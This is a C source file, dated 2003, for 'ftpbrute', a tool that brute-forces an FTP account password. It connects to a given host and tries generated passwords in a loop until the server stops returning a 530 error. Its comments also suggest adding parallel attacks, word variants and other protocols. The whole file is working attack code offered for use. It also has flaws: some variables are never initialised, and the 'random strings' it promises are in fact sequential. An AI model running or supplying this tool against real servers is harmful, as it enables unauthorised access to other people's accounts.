/*
 *  ftpbrute.c
 *
 *  Use brute force to find an FTP password.
 *  
 *  Whilst using a dictionary file for password suggestions is a very effective
 *  tactic, many more clued up users/providers are using random character
 *  strings by default these days. This program just generates random strings
 *  and tests them one after another.
 *
 *  Potential improvements:
 *
 *    o Multi-threading? This might cause socket trouble, but it would speed
 *      this very slow process up immensely to attack in parallel. This could
 *      come across as a DOS attack though, nicer would be some kind of speed
 *      control. Perhaps a thread-count option and a delay factor, or even
 *      random distribution of attack attempts.
 *
 *    o If a start word is supplied then variants of that word should be
 *      attempted. E.g. case variations, common mistakes (1 for l, etc),
 *      adding or subtracting characters at all locations in the string and
 *      more.
 *
 *    o Addition of other protocols, perhaps config files that describe how
 *      passwords are exchanged in a given protocol. That way more can be added
 *      and old ones updated easily.
 *
 *  Afternoon <noon at aftnn.org>, 2003
 */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>

int conn(char* h) {
    int s;
    struct sockaddr_in sin;
    struct servent* sp;
    struct hostent* hp;

    fflush(stdout);

    if (!(sp = getservbyname("ftp", "tcp")) || !(hp = gethostbyname(h))) {
        printf("%s is not a valid host address (error %d).\n", h, errno);
        exit(2);
    }

    sin.sin_family = AF_INET;
    bcopy(hp->h_addr, (char*)&sin.sin_addr, hp->h_length);
    sin.sin_port = sp->s_port;

    if (!(s = socket(AF_INET, SOCK_STREAM, 0))) {
        printf("Unable to create socket (error %d).\n", errno);
        exit(3);
    }

    if (connect(s, (struct sockaddr*)&sin, sizeof(sin))) {
        printf("Unable to connect to %s (error %d).\n", h, errno);
        exit(4);
    }

    return s;
}

void makepw(char* pw) {
    int i, j;
    int pl = strlen(pw) - 1;
    int nextinc = 0;

    if (!strcmp(pw, "")) pw = strcat(pw, "!");
    else if (pw[pl] == '~') {
        for (i = 0; i <= pl; i++) {
            if (pw[pl - i] == '~') {
                pw[pl - i] = '!';
                nextinc = 1;
                if (!(pl - i)) pw = strcat(pw, "!");
            }
            else if (nextinc && (pl - i)) {
                pw[pl - i]++;
                nextinc = 0;
            }
        }
    }
    else pw[pl]++;
}

int main(int argc, char* argv[]) {
    int s, att, count;

    const int bufsize = 80;
    char buf[bufsize];
    FILE *si, *so;

    char pw[16];

    if (argc < 3) {
        puts("Usage: ftpbrute host username [startword]");
        exit(1);
    }

    if (argc > 3) strncpy(pw, argv[3], 16);

    puts("This could take hours and hours...");

    while (1) {
        if (!att) {
            close(s);
            s = conn(argv[1]);
            si = fdopen(s, "r");
            so = fdopen(s, "w");
        }

        makepw(pw);

        // chomp banner
        if (att == 0) fgets(buf, bufsize, si);

        fprintf(so, "USER %s\r\n", argv[2]);
        fflush(so);

        fgets(buf, bufsize, si);

        fprintf(so, "PASS %s\r\n", pw);
        fflush(so);

        fgets(buf, bufsize, si);

        if (!strstr(buf, "530")) {
            printf("Success! Password is %s\n", pw);
            exit(0);
        }
        else if (argc > 4) printf("Password isn't %s\n", pw);

        if (++att == 3) att = 0;
    }
}
		
aftnn.orgcontentcode → ftpbrute